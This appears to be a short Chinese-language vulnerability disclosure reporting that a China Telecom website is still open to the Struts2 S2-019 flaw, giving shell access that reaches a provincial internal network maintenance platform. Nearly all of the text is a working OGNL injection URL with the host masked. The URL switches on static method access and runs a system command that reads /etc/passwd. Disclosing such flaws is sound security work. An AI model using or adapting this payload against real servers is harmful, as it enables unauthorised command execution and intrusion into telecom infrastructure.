中国电信某站S2-019未修复可getshell(危及内网中该省电信网络维护平台)

http://**.**.**.**/indexToMessage.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,@getResponse%28%29.getWriter%28%29,%23a=%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b=%23a.getInputStream%28%29,%23c=new%**.**.**.**.InputStreamReader%28%23b%29,%23d=new%**.**.**.**.BufferedReader%28%23c%29,%23e=new%20char[1000],%23d.read%28%23e%29,%23resp.println%28%23e%29,%23resp.close%28%29